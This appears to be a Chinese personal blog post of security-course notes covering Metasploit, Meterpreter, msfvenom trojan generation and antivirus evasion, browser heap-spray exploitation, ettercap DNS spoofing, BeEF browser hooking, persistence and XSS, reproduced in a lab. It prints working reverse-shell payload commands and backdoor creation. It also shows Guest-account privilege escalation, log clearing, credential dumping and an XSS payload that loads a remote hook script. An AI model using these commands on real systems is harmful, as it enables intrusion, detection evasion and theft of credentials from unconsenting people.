Metasploit Framework
渗透框架详细介绍由
Ruby
语言编写,模块化构造,易于开发使用术语介绍
exploit
渗透测试攻击:包括缓冲区溢出,
Web
应用程序漏洞攻击,系统配置错误payload
攻击载荷:利用漏洞进行攻击的代码
windows/shell/bind_tcp
是一个著名的payload
,可以将shell
控制会话绑定到指定的TCP
端口上如
win7/10
使用了数据执行保护等,使缓冲区空间减小,防止注入而
metasploit
给我们提供了传输器与传输体,传输器用于首先传入极短的payload
,用于后续下载更多传输提中payload
,可以绕过防御机制shellcode
指令,渗透中作为攻击载荷运行的指令,常常用汇编编写。
meterpreter Shell
Module
模块Payload module
渗透攻击模块auxiliary module
辅助模块AUX
,做目标信息收集,端口扫描,网络服务查找,验证信息服务暴力破解,模糊测试,ARP
欺骗NOP module
空指令模块提供对
target
的程序运行不会造成实质影响的空操作或无关操作指令,比如0x90
构造缓冲区溢出时,执行
shellcode
前需要增加一段空指令区,如此触发渗透攻击后跳转到执行shellcode
时有一段较大的空区域,避免内存地址随机化导致shellcode
执行失败所以执行
shellcode
前先执行空指令,可以增加攻击成功率Encoding module
编码器模块避免失效字符或坏字符的存在影响
payload
在缓冲区的执行比如
0x00
会被解析成字符串结尾,从而导致攻击载荷执行失败以及对
payload
做免杀,通过不同形式编码以及不同的编码器进行,使payload
变得杂乱,但系统仍可识别而WAF
不可识别而编码后
payload
体积会明显增大,POST module
后渗透攻击模块通过
meterpreter
或传统shell
加载到目标平台上运行敏感信息收集
常见的有用户密码(明文传输存储,存放在内存中),或者用户键盘记录,本地会话管理
meterpreter
最著名且强大的模块作为植入到目标系统上的攻击载荷,可以提供基本控制会话,集成了大量的后渗透攻击功能,如抓取用户哈希,提权等功能
listener
监听器用于等待被攻击的系统来连接
Libraries
基础库文件源代码根目录下,包括:
Rex
,framework-core
,framework-base
如果不开发自己的模块的话,不需要了解这个太多
插件
集成现有的安全工具,如
Nessus
,OpenVAS
接口
msf console
控制台终端msf cli
命令行msf gui
图形化界面msf api
远程调用接口
MSF
渗透攻击技术和Meterpreter
高级技术实践MSF
控制台命令show exploits
展示所有的漏洞,感觉并没有什么用处
search
搜索对应漏洞,支持按照名称,类型,时间,等级等
use
使用漏洞
back
退出漏洞使用
show options
选取对应漏洞后使用,列出需要填写的参数
set/unset
用该命令来设置参数
info
setg/unsetg
设置全局参数
save
改变全局变量后保存配置
meterpreter
常用命令background
将会话隐藏到后台,继续使用
MSF
sessions
查看已有的会话
sessions -i [num]
,返回原有会话shell
直接获取系统控制台
shell
irb
开启
ruby
终端,仅当被控端有ruby
时upload/download
upload [file name] [path]
/download [源文件路径] [下载到的路径]
edit
edit [file path\name]
注意要双写
\
以转义search
-d
搜索路径 ,-f
搜索名称portfwd
进行端口转发,可以将目标端口映射到外网主机端口,以此能从外网访问
portfwd add -l [msf的端口] -r [msf ip] -p [被控主机将被转发端口]
ps
查看目标主机进程信息
migrate
迁移会话,比如使用
IE
浏览器漏洞的时候,如果对方关闭IE
,会话将会终止,但如果将其会话迁移到后台程序中则可以保持会话,此种迁移不留下痕迹且不会中断TCP
会话set autorunscript migrate -f
连接成功后自动迁移进程screenshot
截屏kill
杀死进程sysinfo
shutdown
webcam_xx
访问目标网络摄像头
haashdump
得到登陆用户加密的
hash
值smbpass
当
hash
值无法被破解时,直接传递该hash
值到其他需要验证的地方clearev
清除日志
timestomp
修改文件最后的修改时间,使文件看起来没有被修改过
这个命令仅支持
windows
端timestomp [filename] -a '[time]'
这里笔者自行复现一下
ms17-010
永恒之蓝漏洞扫出来有漏洞,开始用
payload
注入,use 0
进入攻击接口配置
rhosts
,port
,payload
类型run
开始注入,出现meterpreter >
代表已成功连接做一下功能演示:
screenshot
密码破解
1
2load kiwi
creds_all加载
kiwi
插件,并查看密码理论上这里会直接出现明文密码,但我即使是
system
权限且是 $64$ 位还是显示不出来,qwqshell
使用被控主机控制台
对于出现乱码的情况,用
chrp 65001
将编码转成UTF-8
为了更深一步操作,如果想登录主机可以利用远程端口登录,但之前我们需要利用
Guest
账号(因为Guest
账号是系统自带的来宾账号,如果使用别的账号登录的话,容易引起怀疑)1
2
3net user Guest /active:yes
net localgroup administrators Guest /add
net user Guest 123激活并转成管理员权限并修改密码
1
2net user Guest /active:no
net localgroup administrators Guest /del为了远程登录,需要开放
3389
端口1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
将
0
改为1
即可关闭该端口1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
可以用
rdesktop
远程连接用
guest
账户登录即可登录后记得关闭端口,删除用户,再用
clearev
删除记录,效果如下最上面两条是我之后操作的,删除后应该只有最下面一条
乐,下一节课就是利用永恒之蓝,不提前看标题是这样的
MSF
免杀实践metasploit
木马分类staged
stager
由引导代码loader
和payload
组成, 客户端接受stager
后在内存中分配地址将payload
暂存,再通过loader
加载内存中的payload
。这种内存中注入PE
文件的方式称为反射型DLL
注入stageless
将完整的
payload
编译在木马中,相比较来,staged
的体积庞大不灵活,且更容易被杀
免杀方式
修改特征码,修改程序入口点,花指令,加壳
msfencoder
对
payload
文件进行重新排列编码,改变可执行文件中代码形状,避免被杀软认出;程序功能不受影响,程序运行后将原始程序解码到内存执行msfvenom
查看编码器msfvenom -l encoders
查看多平台可用的编码方式MSF
使用多重编码来改善shellcode
免杀能力木马生成,捆绑与免杀
找到合适的
payloads
msfvenom --list payloads | awk '/[keyword]/'
生成
1
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai --platform=x86 lhost=[ip] lport=[port] -x [target_exe] -i [encode_times] -f exe -o [generate_path]
-p
指定payloads
-e
选择编码器--platform
选择平台:x86|x64|x86_64
-s
生成的payload
最大长度-b
避免使用字符,如\0f , \x00
字符串遇到会截断lhost , lport
本地监听回连地址和端口-x
把木马捆绑到指定的可执行程序上-i
编码次数,理论上多次编码有助于免杀-k
保留模板文件正常行为,并将注入的payload
作为单独线程运行,不影响原程序
等待回连
1
2
3
4
5use exploit/multi/handler
set payloads xxx
set lhost [host]
set lport [port]
exploit //开始监听shellcode
免杀手动编译
meterpreter
,对shellcode
编码,一般能绕过静态查杀meterpreter
直接加载进内存并由编码,一般可以绕过动态查杀cpp
加载shellcode
msfvenom -f c
生成c
格式1
2
3
4
5
6
7
8
9
10
11
12
unsigned char buf[] = //从Bin文件复制过来的ShellCode
void main() {
__asm {
lea eax,buf
call eax
}
}编译生成的
exe
可以大概能过静态查杀进程防丢失
在生成
shellcode
时使用如下参数PrependMigrate=true PrependMigrateProc=svchost.exe
可以将payload
注入至svchost.exe
进程中,以防原文件关闭后进程终止导致连接丢失加密
shellcode
传输的数据流避免
shellcode
回连成功,与msf
交互时被查杀metasploit
设置1
2
3
4set EnableStageEncoding true
set stageencoder x86/fnstenv_mov
set stageencodingfallback false
savepayload
加密1
windows/meterpreter/reverse_https
1
windows/meterpreter/reverse_tcp_rc4 PC4PASSWORD=[password]
rc4
加密,生成时指定加密密钥,在监听端设置相同密钥躲避查杀
加壳
加密压缩可执行文件,体积减小,使用不同加密算法。
但壳也有特征码,会被杀软报毒
1
upx -5 [name].exe
对抗沙盒免杀
调用系统的
sleep
来实现AV
检测文件超时,从而放弃对文件检测一般不好绕过
meterpreter
常驻免杀persistence
和metsvc
,但其特征已被广大杀软关注,一定会被查杀绕过杀软,添加自启动
1
2
3exploit/windows/local/registry_persistence
exploit/windows/local/vss_persistence
exploit/windows/local/s4u_persistence将
shellcode
添加到注册表,并通过powershell
加载该shellcode
以运行msf
加载的
payload
由msf
指定,每次不同,如果不监视注册表,不限制powershell
几乎不会被杀利用
powershell
-f psh-reflection -o [filename].ps1
通过自编写脚本加载
powershell
,eg1
Add-Persistence -FilePath .\[filename].ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
MSF
客户端渗透测试实战简介
通过构造畸形数据发送给目标,使用含有漏洞缺陷的客户端应用程序处理数据后发生程序内部处理错误,执行了嵌在数据中的恶意代码
一般来说需要提前对目标进行调查,以诱导目标打开对应文件
Windows
安全防护机制DEP
数据执行保护在
CPU
中设置NX
内存页保护ASLR
地址空间布局随机化堆地址随机化,栈基址随机化,进程线程内存块随机化
攻击
堆喷射,
ROP
基于浏览器的渗透测试
原理:堆喷射
通过组合 大量空指令+
shellcode
,构造出一个注入代码段。向系统申请大量内存并反复用注入代码段来填充,最终导致shellcode
执行系统对堆的管理存在分块机制,因此我们分块填充申请的空间,每个空间填满空指令并在最后填入
shellcode
,堆大致如下1
2
3
4
5
6
7
8
9Heap
±-------------+
| slide code |
| shellcode |
±-------------+
| slide code |
| shellcode |
±-------------+
…用空指令填充而不是全部使用
shellcode
的原因是要确保shellcode
从第一条语句开始执行,若命中任意空指令,其都将顺延至执行shellcode
可能覆盖到的地址有
0x0A0A0A0A(160M)
,0x0C0C0C0C(192M)
,0x0D0D0D0D(208M)
等。堆喷射的成功前提是:当调用填充的过程中恰好覆盖的一个虚函数指针时,先取得栈中的对象指针,通过对象指针取得虚表指针,然后在虚表内适当偏移处取得函数指针执行
也就是说,当使用
0c0c0c0c
作为空指令填充时,地址0x0c0c0c0c
处也应为空指令0c0c0c0c
,由此能恰好执行空指令直到执行到shellcode
msf
练习1
2
3
4
5
6search browser_autopwn
use 1
set lhost [主机ip]
set srvhost [主机ip]
set uripath auto
run用
IE
打开还要加到信任列表里,结果是这样的利用网站
iframe
进行大规模客户端渗透在网页中嵌入如下代码
1
2<iframe src="[msf生成的网址及端口]" width=0 height=0 style="hiden" ...>
</iframe>复现
ms10-002
极光没什么好说的,
msf
设置完直接用旧版本IE
访问就行配合
ettercap
的dns
劫持来攻击主机dns
劫持部分去
ettercap
目录下更改ettercap.dns
在最后增加伪造的
dns
,让所有网页都被欺骗到本机ettercap -G
启动图形化界面用这个扫一下,网关
.1
添加到target1
,把靶机.129
添加到target2
,因为要截获靶机发给网关的通信设置
ARP-poisoning
确保
sniffing
在进行中然后到
plugins-manage plugins-dns_spoof
双击启动这里有一点要注意的,就是靶机的默认网关可能是
.2
,这个可以通过扫描结果看出来msf
启动欺骗网站然后启动
msf
1
2
3
4
5use auxiliary/server/browser_autopwn2
set LHOST 192.168.19.128
set SRVPORT 80
set URIPATH /
exploit这里我采用的是直接将靶机的
dns
劫持到msf
的攻击链接上,也可以通过apache2
劫持到自定义界面,再在自定义界面中嵌入攻击链接的方式注入。理论来说后者更不容易引人怀疑,但笔者在复现时没有成功随后介绍了一些针对不同软件客户端的漏洞,都是简单的用msf脚本即可,不多赘述
msf
内网渗透实践准备
准备三台虚拟机,其中
metasploitable2
充当网关的角色,sudo
下更改etc/network/interfaces
此时
kali
不能ping
通内网靶机,只能连接网关初始探查
nmap
扫43
网段,分析得到第一个靶机的地址,也就是“网关”的IP
建议存下来便于以后利用,当然也可以使用
msf
中自带的数据库来存储信息对于扫出来的端口,一个个分析对应的版本,查看是否有漏洞
21
笑脸漏洞该版本存在一个后门漏洞,从
exploit-db
搜索得到相应信息当输入
:)
时,6200
端口会被打开,从而用nc
可以连接80
可以发现打开了
80
端口,访问网站查看一下更改
index.
的后缀,发现其使用php
而
php
存在一个参数化的漏洞,当提交参数-s
时 ,如下图,它可以导致网站直接以源代码形式显示139/445
samba smbd
存在远程命令注入漏洞,可以轻易用msf
搜索出来随便挑一个拿个
shell
靶机 $1$ 为跳板攻击目标靶机 $2$
现在给靶机
1
上马以获得一个msf
的命令行便于更好攻击1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.154 LPORT=4444 -f elf > backdoor.elf
将后门文件放到
var/www/html
中,开启apache2
, 让靶机 $1$ 从主机服务器上自行下载,并chmod
给一个可执行权限msf
用exploit/multi/handler
连接木马,连接的窗口中./backdoor.elf
执行使用
run get_local_subnets
看到发现内网用
autoroute
添加一条基于sessions
的路由,-s [靶机2的IP段]
用
arp
发现另一台内网中的存活主机,但只在该主机与网关通信时然后用
auxiliary/scanner/portscan/tcp
扫一下该主机的开放端口80
端开放,用auxiliary/scanner/http/http_version
检查一下其服务但这里出现了奇怪的问题,设置跳板后无法
ping
到靶机 $2$ ,但可以用模块进行端口扫描视频中也出现了相同的问题,并没有给出解决方案,笔者找不到解决方法,暂且搁置
Armitage
渗透测试实践介绍
实现对
metasploit
图形化的操作,并可以给出提示,跨平台使用其启动需要
postgresql , metasploit
的开启postgresql
配置sudo -u postgres psql
先登录数据库,alter user postgres with password 'admin';
更改密码,然后\q
退出现在可以用新密码登录了
psql -U postgres -d postgres -h 127.0.0.1 -p 5432
然后设置允许远程访问
gedit /etc/postgresql/16/main/postgresql.conf
把这一行的注释删去,
localhost
改为*
然后更改同目录下的
hba_conf
,注释全部内容并在最下方添加如图,表示允许任意地址通过密码进行远程访问然后建立一个数据库
1
2create user msf with password 'admin' createdb;
create database msf with owner=msf;此时
msf
中可以手动连接db_connect msf:admin@127.0.0.1/msf
可以去目录
usr/share/metasploit-framework/config
下新建配置文件database.yml
以达到自动连接,具体格式可以从database.yml.example
中复制得到至此,提前准备工作完成
用
armitage
启动,在msf
中运行load msgrpc
,会加载出新的密码
使用
笔者感觉图形化界面没什么好说的,比普通的界面看起来直观,但操作不是很方便,可以辅助使用
BeEF
框架介绍
Ruby
中内置的框架,用于评估浏览器的安全性创造一个链接来连接浏览器,链接通常是
JS
编写的hook
,在浏览器与服务器之间建立一个检测信号,可以允许攻击者向目标浏览器发送JS
命令,浏览器再将回应返给攻击者其发送的是
web
请求,发生在浏览器所配置的代理之上,能穿过防火墙。所以目标浏览器一旦运行了JS
挂钩,那么攻击者对浏览器活动就有很高的权限这个
kali
里面也是有内置的,但笔者建议把内置的删掉再安装最新的1
2
3
4apt-get purge --auto-remove beef
apt-get purge --auto-remove beef-xss
git clone https://github.com/beefproject/beef
./install然后去
config.yaml
中更改默认密码使用
./beef
启动./beef -x
清理数据库beef
控制台使用http://127.0.0.1:3000/ui/panel
中访问图形化界面点击箭头处链接浏览器就会上线,可以在左边栏看到
对于
Command
模块,绿色代表可以在当前浏览器上执行,且当前使用用户不会察觉;下方的橙色代表可执行,但用户可能发觉;灰色代表无法确定该命令能否执行;红色可以执行,但结果未知,即无法生效挂钩浏览器
无论是反射型
xss
或者arp
欺骗,最终目的都是让目标浏览器访问/加载beef
的hook
页面http://127.0.0.1:3000/demos/basic.html
以基本的反射型
xss
为例首先需要一个易受
xss
攻击的网站,新建一个php
页面,代码如下1
2
3<HTML> <BODY> <FORM>
<INPUT TYPE=TEXT NAME=echo VALUE="<?php print $_REQUEST['echo']?>">
<INPUT TYPE=SUBMIT> </BODY></HTML>那么靶机访问
http://192.168.19.128/echo.php?echo=%22%3E%3Cscript%20src=%22http://192.168.19.128:3000/hook.js%22%3E%3C%2Fscript%3E%22
则会成功链接ettercap DNS
欺骗欺骗到
beef
生成的钩子地址上即可自动注入挂钩
借助
beef injection framework
自动重写web
流量使其包含挂钩1
git clone https://github.com/SpiderLabs/beef_injection_framework
获取指纹实践
浏览器指纹
command-browser-fingerprint
用户指纹
包括浏览器存储的
cookie
,用户会话历史,综合以上信息可知到用户常访问的网站类型用
beef
高级演示页面来演示即靶机访问
[IP]:3000/demos/butcher/index.html
在下方填入的信息即便不提交,也可以在
beef
中使用command-browser-get form value
查看到
接下来笔者跟着这位来复现一遍操作
初始化控制
XSS
在真实环境中,对于
beef
这种需要加载远程js
的XSS
攻击,存在一种更优的防御方法,即CSP
,内容安全策略。其同于检测并削弱某些特定类型攻击。CSP
规定页面从哪里加载脚本,以及对脚本做出限制,如限制执行js
的eval()
函数,如1
<meta http-equiv="Content-Security-Policy" content="default-src 'self' ">
该段指令让浏览器仅加载同源资源,以防止异源的
beef
攻击有安全漏洞的
Web
应用- 广告网路
社工
网站搭建
使用
beef
自带的Web
克隆功能,其默认在被克隆的网站内容中注入钩子,注意此克隆在beef
被关闭后被销毁1
2
3curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"[目标网站网址]","mount":"[放在本地的位置]"}' -X POST http://127.0.0.1:3000/api/seng/clone_page?token=[上面的token]
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"https://www.baidu.com","mount":"/testclone"}' -X POST http://127.0.0.1:3000/api/seng/clone_page?token=b75029028687f8dbdebdfb842d868ca516914e86搭建成功后发现僵尸不上线,查看网站源码,发现是
js
地址错误到配置文件
config.yaml
里改成本机的
IP
即可,随后重启服务诱饵
钓鱼邮件
需要模糊,缩短
url
,并设计自己的邮件系统物理诱惑
有
html
文件的u盘QR code
感觉是最为保险的手段
中间人攻击
此类攻击仅当和受害者在同一网络下才可进行,考虑用
aircrack-ng
破解wifi
密码这里使用
mitmproxy
,顺便记录一下使用时的问题安装
报错
1
1
2raise ValueError(f'mutable default {type(f.default)} for field '
ValueError: mutable default <class 'mitmproxy.contentviews.grpc.ProtoParser.ParserOptions'> for field parser_options is not allowed: use default_factory解决方案是更新
apt
源并更新mitmproxy
,大概原因是kali
内置的版本过老,不支持本机的python3.11
1
2apt update
apt-get install mitmproxy报错
2
1
AttributeError: module 'OpenSSL.SSL' has no attribute 'DTLS_SERVER_METHOD'. Did you mean: 'TLS_SERVER_METHOD'?
应该是
pyOpenSSL
的问题,更新一下1
pip3 install mitmproxy
但又遇到了
pip3
报错1
error: externally-managed-environment
我搜到的解决方案是使用
1
pip3 install mitmproxy --break-system-packages
使用
在新版的
mitmproxy
中-R
参数已经失效,笔者目前并没有找到正确的脚本来进行钩子的插入(哭哭
持续控制
初始的控制仅发生在用户点击的页面内,一旦用户关闭该页面或浏览器就会失去控制,所以要尽可能维持控制以给后续的攻击争取时间
持续控制分为两种:持久通信,
beef
服务器与僵尸之间通信技术的选择;持久存续,让用户尽可能停留在钩子页面持久通信
CORS
跨域资源共享其扩展了同源策略的限制,允许页面读取来自其他来源的
http
响应,即beef
发送的命令对于浏览器一定是异源的,故其发送的每个http
头部都包含:1
2Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST, GET以允许来自任意地方的
post/get
请求开启
Websocket
通信其速度快于
beef
默认使用的XMLHTTPRequest
,但其不适用于低版本的浏览器:IE>=10
,Firefox>=16.0
,chrome>=23.0
在默认下,
kali
中其配置文件位于/usr/share/beef-xss/config.yaml
做出如下修改
1
2
3# Prefer WebSockets over XHR-polling when possible.
websocket:
enable: truebeef
会根据浏览器版本自动选择是否使用websocket
持久存续
内嵌
iframe
框架persistence-Create foreground iFrame
模块,不需任何参数即可执行,在僵尸浏览器上创造一个100%
的iframe
在用户点击一个新界面时代码生效
其弊端是顶部的
url
栏不会改变,如图而对于使用
js
渲染的页面则会出现页面混乱,点击无效等情况MitB
浏览器中间人与中间人攻击不同,不需要处在同一网络下。
Persistence-Man In The Browser
模块在僵尸浏览器中用js
自动截获/发送http
的内容,并异步展现给用户在用户正常访问的同时能保持钩子
其弊端也很明显,即不能打开图片
以及对于
js
制作的跨域链接,由于MitB
实现原理缺陷导致其无法控制新页面注意
MitB
与iframe
只能使用一种窗口事件处理
Persistence-Confirm Close Window
不断弹出如下窗口但如今的浏览器早已不再允许反复弹出,对于不同浏览器该模块有着不同表现
firefox
和chrome
只有在关闭浏览器时才会有弹窗;360
在关闭当前页面或关闭浏览器时都会有弹窗;QQ
点击关闭当前页面之后,它会打开一个新标签页去加载BeEF
服务器的demo
页面;搜狗全部都没有弹窗。如此仅能使用户多停留几秒,但这几秒也是值得争取的,所以可以与上两种的一种结合使用
动态底层弹出窗口
Persistence-Create Pop Under
可以在用户点击链接时弹出一个指向beef
初始化页面的窗口。浏览器常常会阻止网站弹出,而由用户点击的操作则不影响弊端是如此只能弹出
beef
窗口,会导致用户察觉,而且笔者这里用chrome
复现失败
绕过同源策略与浏览器代理
SOP
与DOM
文档对象模型浏览器同源策略,限制不同源的交互,致使
beef
仅能对被钩子钩住的页面所在域进行操作,绕过同源策略可以考虑旧版浏览器及其插件漏洞,或者利用Web
的特性,这里介绍后者当子域之间需要相互访问时,如
login.site.com
需要访问admin.site.com
的表单,开发者会在admin.site.com
所在页面加入如下js
1
document.domain="site.com"
那么
site.com
下所有子域都可以访问admin.site.com
的DOM
那么当
beef
钩住test.site.com
,可以查找具有此类的页面,从而小范围绕过SOP
的限制SOP
与CORS
与上文类似的,由于
Web
开发者错误的设置导致可以进行跨域资源共享,在子站test.site.com
加入以下代码1
2Access-Control-Allow-Origin: *.site.com
Access-Control-Allow-Methods: OPTIONS, GET, POST会导致
site.com
的所有子站都可以访问test.site.com
的资源Tunneling Proxy
浏览器代理beef
中极为强大的一个功能对于被钩住的僵尸浏览器
A
以及被钩住的域hook-domain.com
,攻击浏览器B
:B
通过beef
发送http
请求,转为AJAX
请求插入僵尸浏览器B
随后要执行的js
脚本中,浏览器B
向域hook-domain.com
发送一个AJAX
请求,且请求带上了该网站的cookie
,域返回的请求则会被钩子截取并返回给攻击浏览器A
,而不会显示在浏览器B
上完成这个实验需要三个不同的浏览器,僵尸浏览器
A
,攻击者浏览器B
用于登录beef
服务器,攻击者浏览器C
用于使用代理,三者不共享数据先去
extensions/proxy/config.yaml
确保enable
为true
对于被钩住的浏览器
B
选择Use as proxy
如此,
beef
所在主机的6789
端口就是一个代理使用
firefox -P
打开另一个不共享数据的浏览器将其代理设为
127.0.0.1 port:6789
与配置文件保持统一理论上此时浏览器
C
可以登录浏览器B
正在访问的网站且不需输入密码笔者坐牢两天后放弃了,有复现成功的教教笔者orz
XSS
漏洞安全实践XSS
代码提交给网站 —XSS
代码Setcookie
到浏览器 —Browser
请求网站提交包含XSS
的Cookie
— 网站取变量返回给客户端 — 客户端运行XSS JS
DOM
基于文档对象模型与平台或语言无关的接口,允许程序或脚本动态访问更新文档内容,结构样式
原因是
DOM
数据没有经过过滤和确认看一个简单的
xss
1
2
3
4
5
6<html><body>
<script>
var a='<?php echo $_GET['data'] ?>';
document.write('<textarea>' + a + '</textarea>');
</script>
</body></html>payload
可以是qwq';alert();var b='
出现此类漏洞的原因是网页对于输入没有进行过滤,且输出使用了危险的指令
这部分都很基础,略
安全牛第三章-安全测试实践1.0
- 本文链接: http://noone40404.github.io/2023/11/10/安全牛课堂第三章-安全测试实践1.0/
- 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!